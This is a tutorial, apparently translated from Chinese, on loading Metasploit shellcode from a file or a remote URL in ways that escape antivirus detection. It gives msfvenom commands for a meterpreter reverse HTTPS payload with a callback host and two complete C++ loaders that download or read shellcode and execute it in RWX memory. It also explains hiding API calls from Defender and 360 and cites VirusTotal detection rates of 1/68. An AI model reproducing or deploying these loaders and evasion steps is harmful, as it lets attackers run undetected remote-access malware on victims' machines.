Two ways to separate and load Shellcode to achieve anti-killing (VT anti-killing rate: 1/68)

Introduction

This article introduces in detail how to separate loading of Shellcode through file loading and remote URL loading to avoid detection by security software. The article first describes the process of loading shellcode files generated by Metasploit Framework, and provides the relevant C++ code.

In order to avoid being detected by antivirus software, dynamic API calls and lazy_importer projects are used for code optimization. Secondly, the article discusses how to load shellcode through a remote URL, and also provides the corresponding implementation code. The whole article aims to help readers understand the specific implementation process and principle of shellcode separate loading, and at the same time enhance the mastery of this technology through practical operations

1. Load via file

msf generates shellcode file

Use msfvenom to generate text files in raw format, but text files in raw format are easily detected by antivirus software. In order to prevent communication features from being detected, I also encrypted msf traffic here. Friends who want to know about msf traffic encryption here can read this article: MSF traffic encryption

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt

1

In order not to be killed by anti-software, save it in hexadecimal format

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt

Code Implementation

What this code does is read the shellcode from a file represented in hexadecimal, load it into memory, and execute the shellcode

#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
using namespace std;

// Convert a single character in hexadecimal to the corresponding integer value
unsigned char hexCharToByte(char character) {<!-- -->
    if (character >= '0' & amp; & amp; character <= '9') {<!-- -->
        return character - '0';
    }
    if (character >= 'a' & amp; & amp; character <= 'f') {<!-- -->
        return character - 'a' + 10;
    }
    if (character >= 'A' & amp; & amp; character <= 'F') {<!-- -->
        return character - 'A' + 10;
    }
    return 0;
}

// convert hexadecimal string to byte array
void hexStringToBytes(const std::string & amp; hexString, unsigned char* byteArray, int byteArraySize) {<!-- -->
    for (int i = 0; i < hexString. length(); i + = 2) {<!-- -->
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}


int main()
{<!-- -->

    std::ifstream file("shellcode_hex.txt"); //Open the specified file
    
    size_t size; //Define the number of bytes of the file content
    string contents; //Define file content
    
    //Check if the file was opened successfully
    if (file.is_open()) {<!-- -->
        std::stringstream buffer; //Create a stringstream object
        buffer << file.rdbuf(); //Copy the contents of the file into the stream
        contents = buffer.str(); //Convert the content of the stringstream object to string and store it in contents

        size = contents.length()/2; //Since two hexadecimal numbers are equivalent to one byte, the file content length needs to be divided by 2
        file.close(); //Close the file
    }
    
    //printf("%d\\
", size);
    //cout << contents;


    // Allocate memory for storing converted shellcode
    unsigned char* buffer = (unsigned char*) malloc(size);
    
    // Call function to convert hexadecimal string to byte array
    hexStringToBytes(contents, buffer, size);

    // Allocate an executable area in memory
    void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // copy shellcode to the area
    memcpy(exec, buffer, size);
    
    // Execute the shellcode
    ((void(*) ())exec)();
}

Code optimization

Both Huorong and WindowsDefender have been reported to be poisoned. The reason is that the memory application function VirtualAlloc has been detected, so use the dynamic API call to bypass the detection

1

Import the lazy_importer project to dynamically call the system api, then add (LI_FN) in front of the api function, and replace NULL of the function parameter with nullptr

1

?

After modifying the code, 360 will not report viruses, uploaded to virus Total for detection, the killing rate is 2/70, the effect is not bad

1

1

2. Load via remote url

http service directory to place shellcode files

Another way shellcode can be loaded separately is via a remote URL. First, we need to place the shellcode file in the HTTP service directory, and then enable the HTTP service: python -m http.server 8000

1

Code Implementation

Based on the above code, the GetUrl_HexContent function is added, its function is to download the content from the specified url and store it in the given buffer, and then load it into the memory

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet. lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include "lazy_importer.hpp"

using namespace std;


// Convert a single character in hexadecimal to the corresponding integer value
unsigned char hexCharToByte(char character) {<!-- -->
    if (character >= '0' & amp; & amp; character <= '9') {<!-- -->
        return character - '0';
    }
    if (character >= 'a' & amp; & amp; character <= 'f') {<!-- -->
        return character - 'a' + 10;
    }
    if (character >= 'A' & amp; & amp; character <= 'F') {<!-- -->
        return character - 'A' + 10;
    }
    return 0;
}

// convert hexadecimal string to byte array
void hexStringToBytes(const std::string & amp; hexString, unsigned char* byteArray, int byteArraySize) {<!-- -->
    for (int i = 0; i < hexString. length(); i + = 2) {<!-- -->
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

/**
 * Download content from the specified URL and store it into the given buffer.
 *
 * @param url URL to download
 * @param buffer The buffer to store the downloaded content
 * @return the number of bytes downloaded (note: the number of bytes is half the length of the original hex string)
 */
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char> & amp; buffer) {<!-- -->
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD bufferSize = 0;
    DWORD contentLength = 0;
    DWORD index = 0;
    DWORD bufferLength = sizeof(bufferSize);

    // open a connection to the internet
    hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {<!-- -->
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // Open a URL connection
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {<!-- -->
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // Query the content length in the HTTP response header
    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
    std::vector<char> hexBuffer(contentLength + 1, 0);

    // Read the content returned by the URL into hexBuffer
    if (!InternetReadFile(hConnect, & amp;hexBuffer[0], contentLength, & amp;bytesRead)) {<!-- -->
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
    }
    else if (bytesRead > 0) {<!-- -->
        hexBuffer[bytesRead] = '\0';
        // Adjust the size of the buffer to store the converted byte data
        buffer.resize(bytesRead / 2);
        // convert hexadecimal string to byte array
        hexStringToBytes( &hexBuffer[0], &buffer[0], bytesRead / 2);
    }

    // close the connection
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // Return the number of bytes read (note: the number of bytes is half the length of the original hexadecimal string)
    return bytesRead / 2;
}


int main() {<!-- -->
    // Replace this URL with the URL of your shellcode file
    LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";
    
    //Array to store malicious code
    std::vector<unsigned char> buffer;

    //Get the hexadecimal content of the remote url and store it in the buffer array
    size_t size = GetUrl_HexContent(url, buffer);

    // Allocate an executable area in memory
    char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // copy shellcode to the area
    memcpy(exec, buffer. data(), size);

    // Execute the shellcode
    ((void(*) ())exec)();

    // Print the content of the buffer, just for demonstration, this step may not be needed in actual use
    /*for (size_t i = 0; i < buffer.size(); i ++ ) {
        printf(" X ", buffer[i]);
        if ((i + 1) % 16 == 0) {
            printf("\\
");
        }
    }*/

    return 0;
}

VirusTotal detects only one virus report

1

Github project address

https://github.com/xf555er/Shellcode_SeparationLoad